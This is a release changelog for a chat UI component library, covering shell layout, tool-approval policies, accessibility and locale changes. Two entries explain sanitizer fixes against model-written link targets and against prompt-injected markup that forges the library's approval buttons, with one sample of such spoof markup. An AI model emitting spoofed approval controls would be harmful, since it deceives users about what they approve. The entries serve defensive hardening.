All versions since 0.16.0
0.16.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
99da790: The application shell: three recipes and one element, so a ChatGPT-style page can be built on aparté alone.
.aparte-app-shellis the grid (sidebar beside, header above,__mainin the rest);.aparte-app-headeris the bar (a toggle shown under 48rem, a title, an__actionszone);<aparte-sidebar>wears the.aparte-sidebarrecipe (__header,__search,__body,__footer) and carries the three behaviours a column has — it collapses (collapsed, reflected; any[data-aparte-sidebar-toggle]toggles it;aparte-sidebar-togglefires), it becomes a drawer under 48rem — or under the length itsbreakpointattribute names, and never withbreakpoint="none"— (data-drawer, a scrim, Escape, focus returned to the opener), and an input carryingdata-aparte-sidebar-searchfilters the conversation list by title. Tokens:--aparte-sidebar-width,--aparte-sidebar-bg,--aparte-app-header-height,--aparte-scrim; locale keysidebarLabel. A guide, “An application shell”, shows the whole page with a live demo.The line was drawn on 2026-08-29: shell chrome without product state is the library’s, like the viewport is; a recipe draws, an element exists only where there is behaviour — a header has none, a sidebar has three. What stays with the product: routing, authentication, the storage adapter, the contents of a settings panel.
@aparte/core,@aparte/locale-fr -
41aaee8: An approval option can carry a
description— a second line drawn under its label,string | (() => string)like the label so it follows a live language switch — to say what choosing it commits to:{ label: 'Always allow this command', description: 'git status' }next to{ label: 'Always allow any git command', description: 'git *' }.Issue #37: a host remembered the first word of a command while its button said only “Always allow”, and the panel had nowhere to show the reach of that “always”. A choice question’s options already had
description; the approval side now has the same, drawn with the same body (.aparte-elic-option-title/.aparte-elic-option-desc).@aparte/core -
bec58ff: A per-call approval policy:
config.setApprovalPolicy((call, tool) => ruling)decides for every tool call whether it runs (allow), asks at the composer (ask), or is refused with a sentence of its own (deny+reason).undefinedleaves the tool’sneedsApprovalto decide, as before. New exportsAparteApprovalPolicyandAparteApprovalRuling;config.getApprovalPolicy()andconfig.ruleOnToolCall(call)read it back. A host’s ownapprovalResolveronAparteClientOptionsis untouched — it already owns the decision.needsApprovalis a declaration about a TOOL; a mode (“plan”: read-only, “auto”: never ask) is a decision about a CALL, and the samerun_commandcan be a read or an execution. The client’s default channel consults the policy twice — once to decide whether the call pauses at all, so an allowed call never flashes awaiting approval, once to answer — and a refusal by policy reaches the model verbatim, never as “the user rejected this”.@aparte/plugin-approvalbuilds the four modes on this seam.@aparte/core -
45574cd: A tool result can carry a structured value beside its prose:
AparteToolResult.structuredContent(MCP’s name for exactly this field) travels with the call and lands on the transcript’s segment asAparteToolCallSegment.structuredResult.contentis unchanged — it stays what the model reads.A tool renderer that had to parse its own JSON back out of the prose can read the value directly;
@aparte/plugin-ask-user’s receipt and@aparte/plugin-artifacts’ card both do.@aparte/core -
4123389:
aparte-approval-mode-changecarries a typed detail:AparteApprovalModeChangeEventDetail({ mode, previousMode }) is exported from@aparte/coreand is inAparteEventMap, so a listener readse.detailwithout a cast.The event is dispatched by
@aparte/plugin-approval’s<aparte-approval-mode>when the person switches mode; it bubbles and crosses shadow roots, so a host can persist the choice from any ancestor.@aparte/plugin-approvalre-exports the type. It is not inAPARTE_DEFAULT_UI_EVENTS— a plugin’s events never are — so under a wrapper, pass the name:events: ['aparte-approval-mode-change'].The type lives in core for the same reason
AparteModelChangeEventDetaildoes: the event map is core’s, and a listener in any framework reads its detail through it.modeandpreviousModeare plain strings — the four values (plan,ask,auto-edit,auto) are the plugin’s, and core names none of them.pnpm check:event-maprefuses an event dispatched with a detail and absent from the map, since every listener would otherwise cast.@aparte/core -
22fe79e: A link in a model’s reply can no longer choose its own target: unless it is a
_selfon a link that was staying here anyway, it opens in a new tab withrel="noopener noreferrer".Breaking for model-authored markup only — no caller code changes, but a reply that writes
target="_top",target="frame"or arelof its own no longer gets what it asked for. Nothing a host writes is affected: the sanitizer only ever reads provider output.targetandrelused to be allowlisted on<a>and copied through untouched, which handed the model two things._top/_parentbroke out of the frame the chat lives in — no external URL required, a same-site link did it — and in an Electron window that frame is the whole application. A NAMED target (target="victimframe") opened a page holding a livewindow.opener, which is the reverse-tabnabbing the_blankbranch has always hardened against;rel="opener"simply cancelled that hardening. The attribute is now read as a wish and clamped: everything becomes a new tab that cannot reach back, and a model-writtenrelnever survives._selfis the one wish honoured, and only where it changes nothing a browser would not already do — on a same-site or in-page link. On an off-site href it is not a preference but a downgrade: that link opens a new tab when notargetis written at all, so honouring_selfthere would hand the model exactly the frame navigation this clamp refuses.@aparte/core -
22fe79e: Markup in a model’s reply can no longer wear a core class name: the sanitizer now drops any class token starting with
aparte-.Breaking only for a markdown or highlight provider that deliberately emitted core’s own classes to borrow its recipes — a class token of any other shape is untouched,
language-*included, which is the one class a highlighter is identified by.classis allowlisted because a highlighter’s output is mostly classes, and that let model-authored markup dress itself as core’s UI:<div class="aparte-approval-option aparte-btn">Approve</div>survived the sanitizer untouched and painted a pixel-perfect approval button inside the transcript, next to the real one. Every core surface can be forged the same way, and prompt injection is enough to write it. Core owns theaparte-prefix wherever it emits a class, so nothing arriving from a provider keeps one.@aparte/core -
4123389: The host’s
clearMessages()takes{ revokeAttachments?: boolean }and passes it to the viewport’sclearAll(), so a caller that empties the transcript and re-appends some of the same turns keeps their attachments working.Emptying the transcript releases the
blob:object URL of every attachment it drops — a deliberate leak fix. A caller that puts some of those turns straight back (a compaction is the case in this repo) therefore re-appended them with dead URLs: every image and file chip on a surviving turn came back broken. Passing{ revokeAttachments: false }keeps the URLs alive and leaves the caller to release the ones it really dropped.The option is on the whole chain, and each link forwards it:
AparteChatImperativeApi.clearMessages(options?),AparteChatBinding.clearMessages(options?), the host’sclearMessages(options?)and the viewport bridge’sclearAll(options?). Optional everywhere — an existing call site and a binding of your own are unchanged, andclearMessages()with no argument still revokes.This is the half that makes
@aparte/plugin-compactionkeep those attachments under React, Vue, Svelte and Angular. Under a wrapper the transcript the plugin resolves is the wrapper’s own root element, whoseclearAllbridge dropped the argument on the floor: the plugin asked, core did not carry, and the wrapper suites stayed green because the plugin’s own target is a plain array.@aparte/core -
a7528d1: Two of the ten pre-beta audit fixes are visible to your code:
AparteToolCallSegment.statusgains the valuefailed(with a new optional locale key,toolFailed), andaparte-message-doneno longer fires for a turn superseded by a retry or an edit on an earlier bubble. The other eight change no call you make.A tool handler that throws now settles its row on that
failedstatus — badge and locale key — instead of spinning “Running” forever; aswitchoverstatusin a renderer of your own should answer it, and a locale of your own may translatetoolFailed(it falls back to the built-in English otherwise). A superseded turn ends on its own signal rather than the client-wide abort flag the next send resets, which is why it no longer announces a reply that was cut.The rest. Core stamps
data-segment-idon the root of every renderer’s output, tool renderers included — a root without it (the ask_user receipt) made every update of that segment wipe and rebuild the whole bubble, destroying a mounted artifact preview and collapsing an opened reasoning block.AparteMessageRepository.import()skips a repeated id (a snapshot naming itself as its own parent recursed forever). Under the four wrappers: a framework append is recorded in the viewport’s tree by the same act (a manual token stream used to invent a phantom root and reverse the path on the next branch operation); the transcript’s read-only-while-streaming flag has one writer per mode —setTranscriptBusy, written by the host — so retry, edit and the branch arrows are disabled during a reply as they were meant to be; and the conversation controller subscribes to a manager registered afterbind(), which is every wrapper’s case, so deleting the active conversation elsewhere clears the binding. Thenodeentry exports the element classes as types, as the docs promised. The composer button’s JSDoc no longer describes an “advance” meaning.@aparte/core -
95613d0: Escape closes the sidebar drawer from anywhere on the page, opening the drawer moves focus into it, and a collapsed sidebar carries
inert+aria-hidden="true"so it holds no tab stop.Three halves of one gap. The keydown listener was on the element, so Escape worked only once the focus was already inside the drawer — and nothing put it there, so in the documented shell it did nothing at all. It listens on the document now; the
drawer && !collapsedguard was always the whole filter.Opening the drawer moves the focus to its first focusable child, so the next Tab walks the drawer rather than the transcript underneath it, and closing still hands the focus back to the control that opened it.
A collapsed sidebar — folded to nothing as a column, slid off screen as a drawer — now carries
inertandaria-hidden="true". It was keeping every tab stop and its whole subtree in the accessibility tree while invisible. The element removes only what it wrote, so aninertyou set yourself (the sidebar behind your own modal) survives a resize.@aparte/core -
00126e3: The approval panel now shows the tool call’s arguments under the question — the thing being approved is on the surface where you click.
New
details?: stringonAparteElicitationRequest, and a fourth (optional) argument onbuildApprovalPanel. Set it on your ownrequestUserInput({ kind: 'approval' })and the text appears between the question and the options, in a capped, scrollable, keyboard-reachable block. It is rendered throughtextContent— never markup, and never a render hook: the content is model-authored, on the one control in the library whose whole job is to stop a model.The built-in gate fills it with the call’s pretty-printed JSON. Until now the panel asked Run
delete_file? and stopped there, while which file — the whole of what a person is deciding — stayed in the transcript row behind a disclosure that stays closed on purpose. The guide had promised the opposite the entire time (“name and arguments, since the arguments are what is being approved”), and so had the client’s own docblock, which said the arguments stay in the transcript. Both now describe what happens.One function builds the text for both surfaces (
describeToolInput, inutils/), because two renderings of one value drift — and here the drift would be a person approving a call they read differently from the one that runs. The transcript row still does not open itself: the panel is the decision surface now, so the last argument for unrolling it is gone. New locale keyapprovalArgsLabel(default “Arguments”), translated in@aparte/locale-fr.@aparte/core -
08bbdae: The transcript can now be focused and scrolled with the keyboard in Safari; it carries a name for screen readers.
<aparte-chat-viewport>’s scroll surface getstabindex="0"and anaria-label— on.aparte-viewport-containerin the default mode, on the host itself inframework-managedmode, since that is what scrolls there. It also carriesrole="log", which the container already had and the host did not:aria-labelis prohibited on an element whose role resolves to none, so a name without a role would have been the same defect mirrored. Inframework-managedmode that makes the transcript a polite live region, as it already was in the default mode. The name comes from a new locale key,transcript(default “Transcript”), translated in@aparte/locale-frand re-applied on a live language switch.If your app tabs through the page in a fixed order, there is one more stop in it, between the chrome above the chat and the composer.
WebKit does not give an unfocusable overflow box a keyboard scroll of its own the way Chromium and Firefox do. So on Safari a plain-text transcript — no links, no code blocks, nothing focusable inside — stopped at the first screen for anyone not using a pointer, with no error and nothing on screen to say why. The framework mode looked fine and only by accident: the scroll-to-bottom button is a child of the host and stays tabbable while it is visually hidden, so Tab happened to land somewhere that scrolled. That is a coincidence, one
hiddenattribute away from taking the transcript’s keyboard access with it, so both modes now say what they mean. Proven in a real WebKit run (e2e/tests/transcript-keyboard.spec.ts), which is the only place the defect is visible at all.@aparte/core -
81d0b54: The message action bar is now one tab stop with Left/Right arrows inside it, as its
role="toolbar"always claimed.Tabbing through a transcript is shorter: each bubble’s bar contributes one stop instead of one per button. Inside a bar, Left and Right move and wrap, Home and End jump to the ends, and disabled buttons are skipped — while a turn is streaming, retry and edit are disabled, and a toolbar whose arrows stop on a dead control reads as broken. The arrows follow the reading direction, so in an RTL transcript Left is the one that advances.
The bar has announced itself as a toolbar since it existed, and a toolbar IS the roving-tabindex pattern: one member in the tab order, the arrows moving between them. What shipped was five independent tab stops per message, so the role described a behaviour that did not exist — a screen-reader user told “toolbar, five items” pressed Right and nothing moved.
The model is re-derived in the one place all three build paths already funnel through, rather than in each builder, because the bar’s
innerHTMLis rewritten on asetBubbleActions, on entering and leaving the inline editor, and on a config change. A per-builder fix drifts the first time somebody adds a fourth path; the rebuild cases in the suite are what would catch that.@aparte/core -
3590e4a: The attachment ✕ label and the searchable select’s placeholder are now translatable (
removeAttachment,selectSearchPlaceholder,selectSearchLabel).Three strings were hardcoded English.
aria-label="Remove {file}"on the pending attachment’s ✕ andaria-label="Search options"on a searchable<aparte-select>’s filter are each the whole of what a screen-reader user hears on an unlabelled control. The third is worse:placeholder="Search..."is VISIBLE text, so a French page opened the model picker and read English in the box.removeAttachmentuses the{name}conventionapprovalAskanddeleteConversationConfirmalready use, and the file name is interpolated raw and escaped once at the end — reusing the tile’s already-escaped name would have escaped a&twice and read “rapport & co”. All three are translated in@aparte/locale-fr, and each keeps its English literal as a fallback so a custom locale that omits one renders a word rather than an empty box.node scripts/check-locale-keys.mjsnow cross-checks the two lists in both directions: at('…')naming no declared key, a declared key with no default, and — the half TypeScript cannot see, because every locale key is optional — a key@aparte/locale-frdoes not translate.@aparte/core,@aparte/locale-fr -
3c2e507: New
@aparte/core/browserentry point: point your test runner at it so<aparte-*>elements upgrade under Vitest + jsdom.// vitest.config.ts — the array form matches on a regex, so ONLY the bare specifier is// rewritten. An object alias is a prefix alias: it would also send `@aparte/core/icons`// to `@aparte/core/browser/icons`, which is not exported.test: { environment: 'jsdom', alias: [{ find: /^@aparte\/core$/, replacement: '@aparte/core/browser' }] }Why it is needed.
@aparte/coreresolves thenodeexport condition to a DOM-free entry, which is what makesimport '@aparte/core'safe in Next, Nuxt, SvelteKit and Angular Universal. A test runner is also Node, so it took that entry too — and then jsdom suppliedcustomElementswhile nothing had registered anything.document.createElement('aparte-chat')returned a plainHTMLElement, every assertion about the element’s own properties failed, and no error named the cause. There was no supported specifier to escape to: the four wrappers in this repo all aliased@aparte/coreat../../core/src/index.ts, reaching into another package’s source.registerAllComponents()on the DOM-free entry now says so: called with a DOM present, it logs one warning naming this specifier. A warning, not a throw — the environment is legal, only surprising.@aparte/core/package.jsonis exported as well, so a config canrequire.resolveit instead of hardcoding a path. The main.entry is unchanged and still resolvesnodefirst.@aparte/core -
3c2e507:
APARTE_DEFAULT_UI_EVENTSgains ten names:aparte-suggestion,aparte-context-threshold,aparte-scroll-rail-jump,aparte-sidebar-toggle,aparte-split-resize, and the turn’s lifecycle —aparte-message-start,aparte-message-done,aparte-message-error,aparte-message-abortedandaparte-tool-approval-request.That constant is what all four wrappers’
<AparteUi>listens for when you pass noeventsof your own, so a name missing from it is an event a wrapper consumer cannot hear at all. It carried 25 of the 35 core dispatches on an element. Five of the missing ten were the entire up-stack surface of this release; the other five were excluded on a stated reason — “they go out throughwindow.dispatchEvent” — that the code contradicts:dispatchLifecycleEventsends them on the host element, bubbling and composed, and the composer’swindowbroadcast is a second path rather than the only one.aparte-abort,aparte-compactandaparte-config-changestay out, and now for a reason that is true of them:windowis the only place they go.The list is checked against core’s dispatch sites by
pnpm check:event-map, so “verified against core” is a check rather than a claim — it had been a claim twice, and been wrong twice.@aparte/core -
575ec7e: Removed the unused locale key
tokensPerSecondLabel; nothing rendered it.If you set it, delete the line — it is ignored. A locale annotated
: AparteLocale(the shape@aparte/locale-fruses) now fails to compile on it; a bare object literal handed straight tosetLocalestill does not, because the open half of that parameter accepts any extra key. Nothing on screen changes: it was the one key of the eighty-odd with no reader anywhere in the repo, and its JSDoc named a “tokens-per-second perf chip” this library does not have.A locale key is a public contract a translator pays for, so one that renders nowhere is work asked of every locale author for no screen.
config/__tests__/locale.test.tsnow asserts that every declared key appears somewhere outside its two declaration sites, over a corpus with a floor — because a walk that silently shrinks would report “no unread keys” while reading four files.@aparte/core,@aparte/locale-fr -
575ec7e:
AparteLocaleis now closed, sot('typo')is a compile error instead of an empty label at runtime.Your own extra keys still work, and still round-trip:
setLocale,extendLocaleandgetLocaleall carryAparteLocale & AparteLocaleExtensions, the new open half, so a plugin reads its own key offgetLocale()exactly as before. What changes ist(), which now accepts core’s own keys only — which is the point. (AparteLocaleis a type alias rather than an interface, because an interface has no implicit index signature and so is not assignable to the extensions half.)The interface used to end with
[key: string]: string | undefined, and that one line disabled the only compile-time check the locale had.AparteConfig.t(key: keyof AparteLocale)looks airtight; with an index signaturekeyofwidens tostringand every literal typechecks. An audit plantedt('copy') → t('copyCodeBlock')as a deliberate mistake and nothing saw it:tsc --noEmitexited 0,t()returned''at runtime, and the label rendered empty with no error, no warning and nothing on screen to notice. Three keys had already reached production that way (submitButton,stopButton,actionUpload— read for months, declared by nobody), and a user reported the last one from a live language switcher.node scripts/check-locale-keys.mjsis the second layer, for the places the compiler cannot reach: a computedt(key as never), and the mirror direction TypeScript is blind to — every locale key is optional, so a French bundle that MISSES one compiles perfectly and ships English in the middle of a French page.@aparte/core -
ef6913c: The default density moves one step up, to where the kits a chat is compared against sit:
--aparte-radius-unit2px → 3px (radii 3/6/9/12/18px),--aparte-font-scale1 → 1.08 (14px body text),--aparte-btn-size-sm/md/lg20/28/36 → 24/32/40px, and the focus ring at 30% of the accent instead of 15%. A theme that set any of these keeps its value; the old look is four lines away, as the “compact” preset in the theming guide.The kit read as plain, and the measurement said why: on every axis — radius, control size, type size, ring — aparté was one step denser than shadcn or Radix. Nothing structural changed; the scales did.
@aparte/core -
1b1a715:
AparteClient.compact()andcompactionSelectorare removed: compaction is@aparte/plugin-compactionnow (setupCompaction()), and the client no longer listens foraparte-compact. Replaceclient.compact()withsetupCompaction({ keyResolver }).compact()— the resolver you gave the client, if any — andcompactionSelectorwith the plugin’sselector(itspromptoption is how you replace the summarising instruction). The typeAparteCompactionSelectoris gone with them.client.abort()no longer reaches a compaction: the stop button still does (the plugin listens foraparte-abort), and from code you call the controller’s ownabort().What core keeps is the contract the plugin (or a host summarising by other means) relies on: a message with
compaction: trueis drawn as a notice by the viewport (data-kind="compaction"on the bubble — centred, no avatar, no actions) and sent to the model under a fixed preamble saying what it is, on every history path;_meta.compactionon a request names a summarisation for a backend transport;<aparte-context auto-compact>dispatchesaparte-compactand resets onaparte-compact-done. The events gain a chat:aparte-compact-startnow carries{ targetId }(typed asAparteCompactStartEventDetail, in the event map),aparte-compact-donegainstargetIdandreason(empty/nothing-to-drop/running/streaming),aparte-compact-errorgainstargetId— so a gauge on a multi-chat page resets only its own.Why: no UI kit compacts and every agent SDK ships it as an opt-in module — a session wrapper, a middleware, a memory block. A summariser inside the client was another product’s habit wearing core’s type; the seam was already clean (the plugin uses only public APIs), so the behaviour moved and the seam stayed.
@aparte/core -
4123389: The composer’s send button always means submit:
AparteComposerPanelModeis'submit' | 'none', the'advance'member is gone, and so is the locale keyelicitationNext.Breaking on two lines only. A
switchor a comparison against'advance'no longer compiles. And a locale annotated: AparteLocale— the shape@aparte/locale-fruses — fails to compile onelicitationNext; a bare object literal handed tosetLocalestill passes, and the key is simply read by nothing. Delete the line.The button no longer “advances” through a form of several questions: it means submit throughout, enabled once every question has an answer, and the chips are the navigation — which was already true, since the chevron was a second way to do what a chip does. An answered chip now carries a check mark, and a
recommendedoption a “Recommended” tag (new locale keyelicitationRecommended).Measured against the reference product: Claude Code’s question panel switches questions by tab and submits everything with one button; a click selects and never submits. Ours did the same in a form, except for the button that pretended to be a “Next”.
@aparte/core -
8b1a1d8:
<aparte-context variant="ring">draws the gauge as a ring with the percentage beside it, for a toolbar where a bar wants a width and a ring wants none; the full reading (100k / 128k) is the ring’stitle. Same levels (warn/dangerrecolour the ring), same events, same accessible name — only the drawing differs. Two tokens size it:--aparte-context-ring-size(22px) and--aparte-context-ring-stroke(4, in the ring’s own 36-unit box). The default stays the bar.@aparte/core -
e4b1fbe:
<aparte-conversation-list>rows now carry one⋯button that opens a menu — rename, pin/unpin, archive/unarchive, delete with a confirmation — instead of permanent archive and delete icons; the rows are grouped by date (Pinned, Today, Yesterday, Previous 7 days, Previous 30 days, then by month) as soon as an item hasupdatedAt, andno-groupsrenders them flat. Three events are new:aparte-rename-conversation({ id, title }),aparte-pin-conversationandaparte-unpin-conversation({ id });AparteConversationListItemgainspinnedAt;AparteConversationManagergainspin(id)andunpin(id).What changes for a host that styled or scripted the old row:
- The row is no longer a
role="button"div with buttons inside it. It is a plain.aparte-conv-itemwrapping two native buttons:.aparte-conv-item__select(the title,aria-currentlives here now) and.aparte-conv-item__more.[data-conv-id]still marks the row. .aparte-conv-item__archiveand.aparte-conv-item__deleteare gone, and with them the tokens--aparte-conv-delete-color,--aparte-conv-delete-bg-hover,--aparte-conv-delete-color-hover,--aparte-conv-delete-radiusand the--aparte-conv-archive-*fallbacks.--aparte-conv-action-btn-sizenow sizes the⋯.- The locale strings
deleteConversation,archiveConversationandunarchiveConversationare menu items now and default to the bare verb (“Delete”, “Archive”, “Unarchive”). New keys:conversationActions,renameConversation,conversationTitle,pinConversation,unpinConversation,deleteConversationConfirm(with{title}),cancel, and the fiveconversationGroup*headings. Month headings are formatted with the locale’stag. - Three icon names join the provider:
more,pin,trash.trashIconandmoreHorizontalIconare still exported from@aparte/core/icons, as aliases of the same drawings.
Why the shape changed: two permanent icon buttons on every row — one of them turning red on hover — was the loudest element of the kit, and the first thing the maintainer named when asked what looked wrong. Every chat product on the market shows one quiet
⋯on hover, a menu behind it, and asks before the one action it cannot undo. The old row was also two buttons nested inside arole="button", which assistive technology does not model, with a synthetic Enter/Space handler to make the div act; two real buttons need none of that. The menu is placed withposition: fixedand closes on any scroll, so the list’s own overflow cannot clip it and no anchoring library is needed.@aparte/core - The row is no longer a
-
d67fa45: The artifact leaves core: install
@aparte/plugin-artifactsand callsetupArtifacts()to get the<artifact>tag, thecreate_artifacttool and the Code/Preview card back. Removed from@aparte/core: theAparteArtifactSegmenttype (and'artifact'from theAparteSegmentunion), the parser’s built-in<artifact>recognition, theaparte-artifact-start/-delta/-ready/-redownloadandaparte-file-gen-ready/-errorevents and their detail types, theartifactRedownload/artifactRehydratehost handlers,setArtifactPreviewBuilder/getArtifactPreviewBuilderandAparteArtifactPreviewBuilder,_meta.artifactHint,deriveArtifactKind, the artifact stylesheet and its--aparte-art-*tokens.An artifact is a convention an app teaches its model, not something a model does by nature — so it is a plugin, end to end, like
ask_user: a real tool, a renderer on its result, and a block grammar registered on the parser through the newregisterStreamBlock. What core keeps is generic: the parser seam,AparteToolRenderer.update, and one rule in the history serializer — a segment of a type core does not know contributes itscontent, else itsfallback— which is what kept an artifact readable by the model on the next turn and now covers every consumer type the same way. The eight locale strings the card reads (download,preview,code,generating,rebuildingPreview,previewPending,sandboxError,sandboxErrorHint) stay inAparteLocale, because a locale package translates one bag —@aparte/locale-fris untouched.@aparte/core -
32762be:
setElicitationOptions({ answerOnClick: false })makes a single-choice question select-then-send (radios plus the composer’s button) instead of answering on the click; the default staystrue.A question asked on its own with one choice — an
enumwithoutmultipleor adefault, abooleanwithout adefault— renders its options as buttons, and the click is the answer. That is the shape every chat product uses and it stays the default; the switch exists for a host that wants a uniform “select, then send” across every question, or the chance to change one’s mind before committing. It is the host’s policy, likeallowOtherandlayout: a form of several questions always collects and submits, whatever it says.@aparte/core -
0556897: The only model of the only registered provider is selected on its own, and a send dropped for want of a model says so in the console, once.
registerAIProvider()selects the model when exactly one provider is registered, it lists exactly one model synchronously, and nothing is selected yet — a scripted or in-browser provider — and never overrides a choice already made or one among several. Nothing changes for a provider whose list comes from a fetch.Issue #29: a page built from the docs alone, with
@aparte/provider-scenarioand no<aparte-model-selector>, sent nothing — the user’s message sat there, no error, no console line — because no model was selected and there was nothing to select. The getting-started CDN snippet names its model now.@aparte/core -
6ba8397: The kit has a dialog:
.aparte-dialogstyles the browser’s own<dialog>—__header,__title,__close,__body(the region that scrolls),__footer, the::backdrop,--sm/--lgwidths, a full-screen sheet under 30rem — and three attributes wire it with no script:data-aparte-dialog-open="id"on any control callsshowModal()on the dialog it names,data-aparte-dialog-closeinside one closes it (its value becomes the dialog’sreturnValue), and a click on the backdrop closes it unless the dialog carriesdata-aparte-dialog-static.installDialogTriggersOnce()is exported for a host that builds its page before importing core.Issue #32, item 1. The kit used to say a modal was “deliberately absent — it needs a portal and a stack manager”; the browser has had both since 2022 in
<dialog>+showModal()(top layer, focus trap, Escape, focus return), so the recipe styles that element and nothing wraps your content — a custom element that moved children into an inner<dialog>would have broken every framework that renders them.@aparte/core -
c546d09: Two UI-kit classes:
.aparte-menu__body+.aparte-menu__descriptionfor a two-line menu item, and.aparte-field-warningfor a field’s sub-text in the warning tone.Both came from a shell moved onto the kit: a mode picker whose rows carry a name and a description had to lay a grid over
.aparte-menu__itemso the check gutter spanned both lines, and “this setting invalidates the saved states” had only-hintand-errorto be painted as. The menu banner now also says that the check mark of amenuitemradio/menuitemcheckboxis drawn by the kit fromaria-checked— the same consumer added a ”✓” of his own and got two.@aparte/core -
9a29df6: A link in a reply opens in its own tab, and a host can intercept it: the built-in sanitizer sets
target="_blank" rel="noopener noreferrer"on every externalhttp(s)link it lets through, and the bubble dispatches a cancelableaparte-link-clickevent (detail: { href, anchor, messageId }, bubbles to the chat host) before the browser follows any link in a message body —preventDefault()cancels the navigation so a host can route the link itself.A bare same-site or in-page link (relative,
#,mailto:) is left as written. A same-site link that carries atargetof its own is not: see the entry on model-writtentargetandrel, which the sanitizer clamps rather than copies — only_self, and only where the link was staying here anyway, is honoured.Issue #38:
markedsets notarget, and the sanitizer only addedrelwhen one was already present, so a model-written link was a bare<a href>that navigated the frame the chat lives in — in an Electron window, the whole application. A host that wants the old behaviour wraps the default sanitizer throughsetHtmlSanitizer()and stripstargetagain.@aparte/core -
d284c7e: New element
<aparte-scroll-rail>: a rail of ticks beside the transcript, one per user turn (every="message"for one per message), that marks which message is under the reader and jumps back to any of them on a click. Place it as a direct child of<aparte-chat>(or the wrapper’s host); it floats on the transcript’s end edge, hides under a coarse pointer, and renders nothing below two ticks. A click fires a cancelableaparte-scroll-rail-jump({ messageId }) before thescrollIntoView, so a host that pages history in can load it first. Four knobs:--aparte-scroll-rail-width,-tick-size,-tick-thickness,-gap; one locale key,scrollRailLabel.It reads the transcript and never owns it: which bubbles exist (a mutation observer on the chat), which one is under the reader (an intersection observer on the scroll surface), and the first words of each for the tick’s name. No product ships this natively — it exists as browser extensions and as open requests — which is why it is here.
@aparte/core,@aparte/locale-fr -
ea6fe97: Add
<aparte-split>: two panes and a seam you can drag, arrow or collapse — the builder split, as an element.positionin and oneaparte-split-resizeout on release; the library stores nothing, so persistence is onelocalStorage.setItemin your listener. The attribute is written on COMMIT only — a release, a key up, a double-click, a property set — and the live value during a drag travels on--aparte-split-position, so a framework’s reconciler is never in the drag loop. The number you get back is the ACHIEVED size after the clamp, so the attribute,aria-valuenowand the event’s detail are one number.The bounds are CSS:
--aparte-split-min(20rem) and--aparte-split-max(60%) are clamp arguments in the grid template, so px, %, rem and ch all work and nothing in JS parses a unit.--aparte-split-handle-size(4px) is the seam and--aparte-split-hit-area(12px, the touch target on a coarse pointer) is the invisible zone you can grab it by.Keys, on the seam: the arrows step 1%, Shift 10% (an ecosystem convention, not the APG), Home and End go to the bounds, Enter collapses and a second Enter restores the size it had, Escape cancels a drag in flight.
aria-orientationon the seam is the inverse of the element’sorientation— the attribute names the SEPARATOR’s axis, which is what ARIA 1.2 and the APG’s window splitter mean by it.Under
breakpoint(48rem by default,noneto never stack) it shows one pane and writesdata-stacked; any[data-aparte-split-pane="start|end"]on the page switches it with no script, the way[data-aparte-sidebar-toggle]drives the sidebar. The value picks the split first and the pane second:startorendreaches the split the control sits inside — or the first one on the page — and any other value names a split’sidand toggles that one, so a control aimed at a particular pane goes inside its split. If you own your own breakpoints, setbreakpoint="none"and put.aparte-split--only-start/--only-endon the element yourself: it reads those classes exactly as it readsdata-stacked.orientation="vertical"stacks the panes and moves the seam to the block axis;primary="end"sizes the last pane instead of the first.The recipe works without the element:
.aparte-splitis a grid you can set a position on from your own media query,.aparte-split--vertical/--primary-end/--only-start/--only-endare the class form of the four states, and.aparte-split__paneis the scrolling wrapper for the pane that is not a chat. A pane CONTAINS a chat; a chat never contains a split.New locale key
splitHandleLabel(“Resize the panes”, “Redimensionner les panneaux”) names the seam.@aparte/core,@aparte/locale-fr -
0e20e36:
registerStreamBlock({ tag, toSegment })teaches the stream parser a tagged block:<tag attr="…">…</tag>in the model’s prose becomes the segment you build, streamed delta by delta.AparteStreamParserOptions.blockstakes the same grammars when you drive the parser yourself.Models write conventions into their prose —
<think>for reasoning,<artifact>for a document,<file path>for a patch,<cite>for a source — and until now each one was a branch hard-wired into the parser, which is how the artifact ended up in core while being an app convention. The parser now does the streaming work once for every grammar: the earliest opening tag wins against a code fence and a reasoning delimiter, a tag cut at a chunk boundary is held back, attributes are parsed quoted or bare, a closing tag split across two chunks never leaks as content, a self-closing tag is a block with no body, and a block still open at the end of the stream is closed with what arrived.toSegmentruns once, at the opening tag; the segment it returns carries acontentstring the parser fills. The blocks are read by the stream adapter when a turn starts.AparteStreamBlockandAparteStreamBlockMatchare exported;unregisterStreamBlock(tag)andgetStreamBlocks()complete the set, andreset()clears it.@aparte/core -
99f7e4a: The user bubble’s tint,
--aparte-surface-3and--aparte-text-inversederive from the masters; an eight-line rebrand now moves them, and the default user bubble is a wash of the accent rather than a fixed plum.--aparte-message-content-bg-userwas a literal in both palettes (#efe7f6/#2f2740), the one colour the theming guide’s eight-line rebrand could not reach — a chat moved to a blue brand kept a plum bubble. It is nowcolor-mix(in srgb, var(--aparte-primary) 12%, var(--aparte-surface-1)), declared in the anchored layer so a per-instance--aparte-primaryre-tints it.--aparte-surface-3is the second surface pulled 6 % toward the text (the same figure both literal pairs encoded), and--aparte-text-inversereads--aparte-surface-1. The three names still exist and still win when you declare them — only their defaults moved. The theming guide lists what stays literal after this: the status colours and--aparte-secondary/--aparte-neutral.@aparte/core -
259e785: A tool renderer registered with
registerToolRenderercan declareupdate(element, segment)andrelabel(element, segment); withupdate, a change of the call (its result landing, a decision, a failure) is patched into your element instead of rebuilding it fromrender().Without
updatecore rebuilds — which it always did, and which is right for a receipt and wrong for anything with state: a mounted preview, an opened disclosure or a focused control was lost the moment the result landed.relabelis forwarded to your renderer on every config change (setLocale,setIconProvider,reset()) and core no longer applies its own pill selectors to markup it did not draw. Same two contracts asAparteSegmentRenderer, which is what makes a renderer that serves both a tool call and a segment a single implementation.@aparte/core -
c2cab7f:
StreamToolConfig.needsApprovalaccepts a predicate(call) => boolean | 'ask' | 'deny'beside the boolean, so the gate can be decided per call from the arguments —'deny'reaches the resolver without announcingtool-awaiting-approval, since nobody is being asked; and an approval resolver may returnreason, a refusal the loop hands the model verbatim instead of “The user rejected this tool call”.Both serve a policy that refuses on its own (a plan mode): without the predicate, every call would have to pause and be auto-approved, painting awaiting approval on rows nobody was asked about; without
reason, the model would be told a person refused when a mode did.@aparte/engine -
45574cd: A tool handler may return
structuredContentbesidecontent; the loop forwards it on thetool-resolvedevent asstructuredResult, so a renderer reads the value instead of re-parsing the sentence the model was given.@aparte/engine -
b90c4c4:
